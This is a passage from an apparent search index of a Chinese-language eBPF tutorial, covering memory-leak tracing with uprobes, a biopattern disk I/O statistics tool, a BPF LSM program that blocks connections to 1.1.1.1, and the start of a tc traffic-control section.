是一种可以在内核中插入的静态钩子，可以用来收集运行时的内核信息，它在调试和性能分析中非常有用。 在理解这些代码的过程中，要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中，我们不能直接访问内核内存，而需要使用这样的宏来安全地读取数据。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 内核态 eBPF 程序实现","id":"107","title":"memleak 内核态 eBPF 程序实现"},"108":{"body":"在理解 BPF 内核部分之后，我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合，它负责将BPF程序加载到内核，设置和管理BPF map，以及处理从BPF程序收集到的数据。用户态程序较长，我们这里可以简要参考一下它的挂载点。 int attach_uprobes(struct memleak_bpf *skel)\n{ ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); ATTACH_UPROBE_CHECKED(skel, free, free_enter); ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); // the following probes are intentinally allowed to fail attachment // deprecated in libc.so bionic ATTACH_UPROBE(skel, valloc, valloc_enter); ATTACH_URETPROBE(skel, valloc, valloc_exit); // deprecated in libc.so bionic ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); // added in C11 ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); return 0;\n} 在这段代码中，我们看到一个名为attach_uprobes的函数，该函数负责将uprobes（用户空间探测点）挂载到内存分配和释放函数上。在Linux中，uprobes是一种内核机制，可以在用户空间程序中的任意位置设置断点，这使得我们可以非常精确地观察和控制用户空间程序的行为。 这里，每个内存相关的函数都通过两个uprobes进行跟踪：一个在函数入口（enter），一个在函数退出（exit）。因此，每当这些函数被调用或返回时，都会触发一个uprobes事件，进而触发相应的BPF程序。 在具体的实现中，我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes（函数返回探测点）。每个宏都需要三个参数：BPF程序的骨架（skel），要监视的函数名，以及要触发的BPF程序的名称。 这些挂载点包括常见的内存分配函数，如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等，以及对应的退出点。另外，我们也观察一些可能的分配函数，如valloc、pvalloc、aligned_alloc等，尽管它们可能不总是存在。 这些挂载点的目标是捕获所有可能的内存分配和释放事件，从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放，还能得到它们发生的上下文信息，例如调用栈和调用次数，从而帮助我们定位和修复内存泄露问题。 注意，一些内存分配函数可能并不存在或已弃用，比如valloc、pvalloc等，因此它们的附加可能会失败。在这种情况下，我们允许附加失败，并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数，而这些已经被弃用的函数往往在实际应用中较少使用。 完整的源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak 参考： https://github.com/iovisor/bcc/blob/master/libbpf-tools/memleak.c","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 用户态程序","id":"108","title":"用户态程序"},"109":{"body":"$ make\n$ sudo ./memleak using default object: libc.so.6\nusing page size: 4096\ntracing kernel: true\nTracing outstanding memory allocs... Hit Ctrl-C to end\n[17:17:27] Top 10 stacks with outstanding allocations:\n1236992 bytes in 302 allocations from stack 0 []  1 []  2 []  3 []  4 []  5 []  6 [] \n...","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 编译运行","id":"109","title":"编译运行"},"11":{"body":"开发、构建和分发 eBPF 一直以来都是一个高门槛的工作，使用 BCC、bpftrace 等工具开发效率高、可移植性好，但是分发部署时需要安装 LLVM、Clang等编译环境，每次运行的时候执行本地或远程编译过程，资源消耗较大；使用原生的 CO-RE libbpf时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息，同时对于 eBPF 程序的分发、管理也没有很好地解决方案。 eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，是为了简化 eBPF 程序的开发、构建、分发、运行而设计的，基于 libbpf 的 CO-RE 轻量级开发框架。 使用 eunomia-bpf ，可以： 在编写 eBPF 程序或工具时只编写内核态代码，自动获取内核态导出信息，并作为模块动态加载； 使用 WASM 进行用户态交互程序的开发，在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行，以及处理相关数据； eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块，跨架构和内核版本进行分发，无需重新编译即可动态加载运行。 eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架，大幅简化了 eBPF 程序的开发流程，在大多数时候只需编写内核态代码，即可轻松构建、打包、发布完整的 eBPF 应用，同时内核态 eBPF 代码保证和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候，也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 eunomia-bpf 项目 Github 地址: https://github.com/eunomia-bpf/eunomia-bpf gitee 镜像: https://gitee.com/anolis/eunomia","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eunomia-bpf","id":"11","title":"eunomia-bpf"},"110":{"body":"通过本篇 eBPF 入门实践教程，您已经学习了如何编写 Memleak eBPF 监控程序，以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用，学会了使用 BPF API 编写 eBPF 程序，创建和使用 eBPF maps，并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子，帮助您理解 eBPF 代码的运行流程和原理。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF，以解决实际工作中遇到的问题。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 总结","id":"110","title":"总结"},"111":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一种新技术，允许用户在内核空间中执行自定义程序，而无需更改内核代码。这为系统管理员和开发者提供了强大的工具，可以深入了解和监控系统的行为，从而进行优化。 在本篇教程中，我们将探索如何使用 eBPF 编写程序来统计随机和顺序的磁盘 I/O。磁盘 I/O 是计算机性能的关键指标之一，特别是在数据密集型应用中。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF 入门实践教程十七：编写 eBPF 程序统计随机/顺序磁盘 I/O","id":"111","title":"eBPF 入门实践教程十七：编写 eBPF 程序统计随机/顺序磁盘 I/O"},"112":{"body":"随着技术的进步和数据量的爆炸性增长，磁盘 I/O 成为了系统性能的关键瓶颈。应用程序的性能很大程度上取决于其如何与存储层进行交互。因此，深入了解和优化磁盘 I/O，特别是随机和顺序的 I/O，变得尤为重要。 随机 I/O ：随机 I/O 发生在应用程序从磁盘的非连续位置读取或写入数据时。这种 I/O 模式的主要特点是磁盘头需要频繁地在不同的位置之间移动，导致其通常比顺序 I/O 的速度慢。典型的产生随机 I/O 的场景包括数据库查询、文件系统的元数据操作以及虚拟化环境中的并发任务。 顺序 I/O ：与随机 I/O 相反，顺序 I/O 是当应用程序连续地读取或写入磁盘上的数据块。这种 I/O 模式的优势在于磁盘头可以在一个方向上连续移动，从而大大提高了数据的读写速度。视频播放、大型文件的下载或上传以及连续的日志记录都是产生顺序 I/O 的典型应用。 为了实现存储性能的最优化，了解随机和顺序的磁盘 I/O 是至关重要的。例如，随机 I/O 敏感的应用程序在 SSD 上的性能通常远超于传统硬盘，因为 SSD 在处理随机 I/O 时几乎没有寻址延迟。相反，对于大量顺序 I/O 的应用，如何最大化磁盘的连续读写速度则更为关键。 在本教程的后续部分，我们将详细探讨如何使用 eBPF 工具来实时监控和统计这两种类型的磁盘 I/O。这不仅可以帮助我们更好地理解系统的 I/O 行为，还可以为进一步的性能优化提供有力的数据支持。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 随机/顺序磁盘 I/O","id":"112","title":"随机/顺序磁盘 I/O"},"113":{"body":"Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 首先，确保你已经正确安装了 libbpf 和相关的工具集，可以在这里找到对应的源代码： bpf-developer-tutorial 导航到 biopattern 的源代码目录，并使用 make 命令进行编译： cd ~/bpf-developer-tutorial/src/17-biopattern\nmake 编译成功后，你应该可以在当前目录下看到 biopattern 的可执行文件。基本的运行命令如下： sudo ./biopattern [interval] [count] 例如，要每秒打印一次输出，并持续10秒，你可以运行： $ sudo ./biopattern 1 10\nTracing block device I/O requested seeks... Hit Ctrl-C to end.\nDISK %RND %SEQ COUNT KBYTES\nsr0 0 100 3 0\nsr1 0 100 8 0\nsda 0 100 1 4\nsda 100 0 26 136\nsda 0 100 1 4 输出列的含义如下： DISK：被追踪的磁盘名称。 %RND：随机 I/O 的百分比。 %SEQ：顺序 I/O 的百分比。 COUNT：在指定的时间间隔内的 I/O 请求次数。 KBYTES：在指定的时间间隔内读写的数据量（以 KB 为单位）。 从上述输出中，我们可以得出以下结论： sr0 和 sr1 设备在观测期间主要进行了顺序 I/O，但数据量很小。 sda 设备在某些时间段内只进行了随机 I/O，而在其他时间段内只进行了顺序 I/O。 这些信息可以帮助我们了解系统的 I/O 模式，从而进行针对性的优化。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » Biopattern","id":"113","title":"Biopattern"},"114":{"body":"首先，让我们看一下 biopattern 的核心 eBPF 内核态代码： #include \n#include \n#include \n#include \"biopattern.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" const volatile bool filter_dev = false;\nconst volatile __u32 targ_dev = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, u32); __type(value, struct counter);\n} counters SEC(\".maps\"); SEC(\"tracepoint/block/block_rq_complete\")\nint handle__block_rq_complete(void *args)\n{ struct counter *counterp, zero = {}; sector_t sector; u32 nr_sector; u32 dev; if (has_block_rq_completion()) { struct trace_event_raw_block_rq_completion___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } else { struct trace_event_raw_block_rq_complete___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } if (filter_dev && targ_dev != dev) return 0; counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); if (!counterp) return 0; if (counterp->last_sector) { if (counterp->last_sector == sector) __sync_fetch_and_add(&counterp->sequential, 1); else __sync_fetch_and_add(&counterp->random, 1); __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); } counterp->last_sector = sector + nr_sector; return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 全局变量定义 const volatile bool filter_dev = false; const volatile __u32 targ_dev = 0; 这两个全局变量用于设备过滤。filter_dev 决定是否启用设备过滤，而 targ_dev 是我们想要追踪的目标设备的标识符。 BPF map 定义： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, u32); __type(value, struct counter); } counters SEC(\".maps\"); 这部分代码定义了一个 BPF map，类型为哈希表。该映射的键是设备的标识符，而值是一个 counter 结构体，用于存储设备的 I/O 统计信息。 追踪点函数： SEC(\"tracepoint/block/block_rq_complete\") int handle__block_rq_complete(void *args) { struct counter *counterp, zero = {}; sector_t sector; u32 nr_sector; u32 dev; if (has_block_rq_completion()) { struct trace_event_raw_block_rq_completion___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } else { struct trace_event_raw_block_rq_complete___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } if (filter_dev && targ_dev != dev) return 0; counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); if (!counterp) return 0; if (counterp->last_sector) { if (counterp->last_sector == sector) __sync_fetch_and_add(&counterp->sequential, 1); else __sync_fetch_and_add(&counterp->random, 1); __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); } counterp->last_sector = sector + nr_sector; return 0; } 在 Linux 中，每次块设备的 I/O 请求完成时，都会触发一个名为 block_rq_complete 的追踪点。这为我们提供了一个机会，通过 eBPF 来捕获这些事件，并进一步分析 I/O 的模式。 主要逻辑分析： 提取 I/O 请求信息 ：从传入的参数中获取 I/O 请求的相关信息。这里有两种可能的上下文结构，取决于 has_block_rq_completion 的返回值。这是因为不同版本的 Linux 内核可能会有不同的追踪点定义。无论哪种情况，我们都从上下文中提取出扇区号 (sector)、扇区数量 (nr_sector) 和设备标识符 (dev)。 设备过滤 ：如果启用了设备过滤 (filter_dev 为 true)，并且当前设备不是目标设备 (targ_dev)，则直接返回。这允许用户只追踪特定的设备，而不是所有设备。 统计信息更新 ： - 查找或初始化统计信息 ：使用 bpf_map_lookup_or_try_init 函数查找或初始化与当前设备相关的统计信息。如果映射中没有当前设备的统计信息，它会使用 zero 结构体进行初始化。 - 判断 I/O 模式 ：根据当前 I/O 请求与上一个 I/O 请求的扇区号，我们可以判断当前请求是随机的还是顺序的。如果两次请求的扇区号相同，那么它是顺序的；否则，它是随机的。然后，我们使用 __sync_fetch_and_add 函数更新相应的统计信息。这是一个原子操作，确保在并发环境中数据的一致性。 - 更新数据量 ：我们还更新了该设备的总数据量，这是通过将扇区数量 (nr_sector) 乘以 512（每个扇区的字节数）来实现的。 - 更新最后一个 I/O 请求的扇区号 ：为了下一次的比较，我们更新了 last_sector 的值。 在 Linux 内核的某些版本中，由于引入了一个新的追踪点 block_rq_error，追踪点的命名和结构发生了变化。这意味着，原先的 block_rq_complete 追踪点的结构名称从 trace_event_raw_block_rq_complete 更改为 trace_event_raw_block_rq_completion。这种变化可能会导致 eBPF 程序在不同版本的内核上出现兼容性问题。 为了解决这个问题，biopattern 工具引入了一种机制来动态检测当前内核使用的是哪种追踪点结构，即 has_block_rq_completion 函数。 定义两种追踪点结构 ： struct trace_event_raw_block_rq_complete___x { dev_t dev; sector_t sector; unsigned int nr_sector; } __attribute__((preserve_access_index)); struct trace_event_raw_block_rq_completion___x { dev_t dev; sector_t sector; unsigned int nr_sector; } __attribute__((preserve_access_index)); 这里定义了两种追踪点结构，分别对应于不同版本的内核。每种结构都包含设备标识符 (dev)、扇区号 (sector) 和扇区数量 (nr_sector)。 动态检测追踪点结构 ： static __always_inline bool has_block_rq_completion() { if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x)) return true; return false; } has_block_rq_completion 函数使用 bpf_core_type_exists 函数来检测当前内核是否存在 trace_event_raw_block_rq_completion___x 结构。如果存在，函数返回 true，表示当前内核使用的是新的追踪点结构；否则，返回 false，表示使用的是旧的结构。在对应的 eBPF 代码中，会根据两种不同的定义分别进行处理，这也是适配不同内核版本之间的变更常见的方案。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF Biopattern 实现原理","id":"114","title":"eBPF Biopattern 实现原理"},"115":{"body":"biopattern 工具的用户态代码负责从 BPF 映射中读取统计数据，并将其展示给用户。通过这种方式，系统管理员可以实时监控每个设备的 I/O 模式，从而更好地理解和优化系统的 I/O 性能。 主循环： /* main: poll */ while (1) { sleep(env.interval); err = print_map(obj->maps.counters, partitions); if (err) break; if (exiting || --env.times == 0) break; } 这是 biopattern 工具的主循环，它的工作流程如下： 等待 ：使用 sleep 函数等待指定的时间间隔 (env.interval)。 打印映射 ：调用 print_map 函数打印 BPF 映射中的统计数据。 退出条件 ：如果收到退出信号 (exiting 为 true) 或者达到指定的运行次数 (env.times 达到 0)，则退出循环。 打印映射函数： static int print_map(struct bpf_map *counters, struct partitions *partitions) { __u32 total, lookup_key = -1, next_key; int err, fd = bpf_map__fd(counters); const struct partition *partition; struct counter counter; struct tm *tm; char ts[32]; time_t t; while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { err = bpf_map_lookup_elem(fd, &next_key, &counter); if (err < 0) { fprintf(stderr, \"failed to lookup counters: %d\\n\", err); return -1; } lookup_key = next_key; total = counter.sequential + counter.random; if (!total) continue; if (env.timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%-9s \", ts); } partition = partitions__get_by_dev(partitions, next_key); printf(\"%-7s %5ld %5ld %8d %10lld\\n\", partition ? partition->name : \"Unknown\", counter.random * 100L / total, counter.sequential * 100L / total, total, counter.bytes / 1024); } lookup_key = -1; while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { err = bpf_map_delete_elem(fd, &next_key); if (err < 0) { fprintf(stderr, \"failed to cleanup counters: %d\\n\", err); return -1; } lookup_key = next_key; } return 0; } print_map 函数负责从 BPF 映射中读取统计数据，并将其打印到控制台。其主要逻辑如下： 遍历 BPF 映射 ：使用 bpf_map_get_next_key 和 bpf_map_lookup_elem 函数遍历 BPF 映射，获取每个设备的统计数据。 计算总数 ：计算每个设备的随机和顺序 I/O 的总数。 打印统计数据 ：如果启用了时间戳 (env.timestamp 为 true)，则首先打印当前时间。接着，打印设备名称、随机 I/O 的百分比、顺序 I/O 的百分比、总 I/O 数量和总数据量（以 KB 为单位）。 清理 BPF 映射 ：为了下一次的统计，使用 bpf_map_get_next_key 和 bpf_map_delete_elem 函数清理 BPF 映射中的所有条目。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 用户态代码","id":"115","title":"用户态代码"},"116":{"body":"在本教程中，我们深入探讨了如何使用 eBPF 工具 biopattern 来实时监控和统计随机和顺序的磁盘 I/O。我们首先了解了随机和顺序磁盘 I/O 的重要性，以及它们对系统性能的影响。接着，我们详细介绍了 biopattern 的工作原理，包括如何定义和使用 BPF maps，如何处理不同版本的 Linux 内核中的追踪点变化，以及如何在 eBPF 程序中捕获和分析磁盘 I/O 事件。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 完整代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/17-biopattern bcc 工具： https://github.com/iovisor/bcc/blob/master/libbpf-tools/biopattern.c","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 总结","id":"116","title":"总结"},"117":{"body":"可以在这里找到更多关于 eBPF 的信息： https://github.com/zoidbergwill/awesome-ebpf https://ebpf.io/","breadcrumbs":"更多的参考资料 » 更多的参考资料","id":"117","title":"更多的参考资料"},"118":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此，本文将介绍如何使用 eBPF LSM（Linux Security Modules）机制实现一个简单的安全检查程序。","breadcrumbs":"使用 LSM 进行安全检测防御 » eBPF 入门实践教程：使用 LSM 进行安全检测防御","id":"118","title":"eBPF 入门实践教程：使用 LSM 进行安全检测防御"},"119":{"body":"LSM 从 Linux 2.6 开始成为官方内核的一个安全框架，基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后，系统开发人员已经能够自由地实现函数粒度的安全检查能力，本文就提供了这样一个案例：限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。（可见其控制精度是很高的）","breadcrumbs":"使用 LSM 进行安全检测防御 » 背景","id":"119","title":"背景"},"12":{"body":"eBPF 介绍： https://ebpf.io/ BPF Compiler Collection (BCC)： https://github.com/iovisor/bcc eunomia-bpf： https://github.com/eunomia-bpf/eunomia-bpf 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程源代码。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 参考资料","id":"12","title":"参考资料"},"120":{"body":"LSM（Linux Security Modules）是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点，从而实现了内核和安全模块的解耦，使不同的安全模块可以自由地在内核中加载/卸载，无需修改原有的内核代码就可以加入安全检查功能。 在过去，使用 LSM 主要通过配置已有的安全模块（如 SELinux 和 AppArmor）或编写自己的内核模块；而在 Linux 5.7 引入 BPF LSM 机制后，一切都变得不同了：现在，开发人员可以通过 eBPF 编写自定义的安全策略，并将其动态加载到内核中的 LSM 挂载点，而无需配置或编写内核模块。 现在 LSM 支持的 hook 点包括但不限于： 对文件的打开、创建、删除和移动等； 文件系统的挂载； 对 task 和 process 的操作； 对 socket 的操作（创建、绑定 socket，发送和接收消息等）； 更多 hook 点可以参考 lsm_hooks.h 。","breadcrumbs":"使用 LSM 进行安全检测防御 » LSM 概述","id":"120","title":"LSM 概述"},"121":{"body":"首先，请确认内核版本高于 5.7。接下来，可以通过 $ cat /boot/config-$(uname -r) | grep BPF_LSM\nCONFIG_BPF_LSM=y 判断是否内核是否支持 BPF LSM。上述条件都满足的情况下，可以通过 $ cat /sys/kernel/security/lsm\nndlock,lockdown,yama,integrity,apparmor 查看输出是否包含 bpf 选项，如果输出不包含（像上面的例子），可以通过修改 /etc/default/grub： GRUB_CMDLINE_LINUX=\"lsm=ndlock,lockdown,yama,integrity,apparmor,bpf\" 并通过 update-grub2 命令更新 grub 配置（不同系统的对应命令可能不同），然后重启系统。","breadcrumbs":"使用 LSM 进行安全检测防御 » 确认 BPF LSM 是否可用","id":"121","title":"确认 BPF LSM 是否可用"},"122":{"body":"// lsm-connect.bpf.c\n#include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"GPL\"; #define EPERM 1\n#define AF_INET 2 const __u32 blockme = 16843009; // 1.1.1.1 -> int SEC(\"lsm/socket_connect\")\nint BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)\n{ // Satisfying \"cannot override a denial\" rule if (ret != 0) { return ret; } // Only IPv4 in this example if (address->sa_family != AF_INET) { return 0; } // Cast the address to an IPv4 socket address struct sockaddr_in *addr = (struct sockaddr_in *)address; // Where do you want to go? __u32 dest = addr->sin_addr.s_addr; bpf_printk(\"lsm: found connect to %d\", dest); if (dest == blockme) { bpf_printk(\"lsm: blocking %d\", dest); return -EPERM; } return 0;\n} 这是一段 C 实现的 eBPF 内核侧代码，它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作，其中： SEC(\"lsm/socket_connect\") 宏指出该程序期望的挂载点； 程序通过 BPF_PROG 宏定义（详情可查看 tools/lib/bpf/bpf_tracing.h ）； restrict_connect 是 BPF_PROG 宏要求的程序名； ret 是该挂载点上（潜在的）当前函数之前的 LSM 检查程序的返回值； 整个程序的思路不难理解： 首先，若其他安全检查函数返回值不为 0（不通过），则无需检查，直接返回不通过； 接下来，判断是否为 IPV4 的连接请求，并比较试图连接的地址是否为 1.1.1.1； 若请求地址为 1.1.1.1 则拒绝连接，否则允许连接； 在程序运行期间，所有通过 socket 的连接操作都会被输出到 /sys/kernel/debug/tracing/trace_pipe。","breadcrumbs":"使用 LSM 进行安全检测防御 » 编写 eBPF 程序","id":"122","title":"编写 eBPF 程序"},"123":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc lsm-connect.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run package.json 接下来，可以打开另一个 terminal，并尝试访问 1.1.1.1： $ ping 1.1.1.1\nping: connect: Operation not permitted\n$ curl 1.1.1.1\ncurl: (7) Couldn't connect to server\n$ wget 1.1.1.1\n--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/\nConnecting to 1.1.1.1:80... failed: Operation not permitted.\nRetrying. 同时，我们可以查看 bpf_printk 的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect","breadcrumbs":"使用 LSM 进行安全检测防御 » 编译运行","id":"123","title":"编译运行"},"124":{"body":"本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中，我们通过 BPF_PROG 宏定义函数，并通过 SEC 宏指定挂载点；在函数实现上，遵循 LSM 安全检查模块中 \"cannot override a denial\" 的原则，并根据 socket 连接请求的目的地址对该请求进行限制。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 LSM 进行安全检测防御 » 总结","id":"124","title":"总结"},"125":{"body":"https://github.com/leodido/demo-cloud-native-ebpf-day https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program","breadcrumbs":"使用 LSM 进行安全检测防御 » 参考","id":"125","title":"参考"},"126":{"body":"","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制","id":"126","title":"eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制"},"127":{"body":"Linux 的流量控制子系统（Traffic Control, tc）在内核中存在了多年，类似于 iptables 和 netfilter 的关系，tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架，主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始，tc 增加了一些新的挂载点，并支持将 eBPF 程序作为 filter 加载到这些挂载点上。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 背景","id":"127","title":"背景"},"128":{"body":"从协议栈上看，tc 位于链路层，其所在位置已经完成了 sk_buff 的分配，要晚于 xdp。为了实现对数据包发送和接收的控制，tc 使用队列结构来临时保存并组织数据包，在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc（Queueing discipline），其对外暴露数据包入队和出队的两个回调接口，并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构，其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑，返回值决定了该数据包是否属于特定 class。 当数据包到达顶层 qdisc 时，其入队接口被调用，其上挂载的 filter 被依次执行直到一个 filter 匹配成功；此后数据包被送入该 filter 指向的 class，进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制，即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理，实现了完整的数据包分类和处理机制。 现有的 tc 为 eBPF 提供了 direct-action 模式，它使得一个作为 filter 加载的 eBPF 程序可以返回像 TC_ACT_OK 等 tc action 的返回值，而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在，eBPF 程序可以被挂载到特定的 qdisc 上，并完成对数据包的分类和处理动作。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » tc 概述","id":"128","title":"tc 概述"},"129":{"body":"#include \n#include \n#include \n#include  #define TC_ACT_OK 0\n#define ETH_P_IP 0x0800 /* Internet Protocol packet */ /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1}\nSEC(\"tc\")\nint tc_ingress(struct __sk_buff *ctx)\n{ void *data_end = (void *)(__u64)ctx->data_end; void *data = (void *)(__u64)ctx->data; struct ethhdr *l2; struct iphdr *l3; if (ctx->protocol != bpf_htons(ETH_P_IP)) return TC_ACT_OK; l2 = data; if ((void *)(l2 + 1) > data_end) return TC_ACT_OK; l3 = (struct iphdr *)(l2 + 1); if ((void *)(l3 + 1) > data_end) return TC_ACT_OK; bpf_printk(\"Got IP packet: tot_len: %d, ttl: %d\", bpf_ntohs(l3->tot_len), l3->ttl); return TC_ACT_OK;\n} char __license[] SEC(\"license\") = \"GPL\"; 这段代码定义了一个 eBPF 程序，它可以通过 Linux 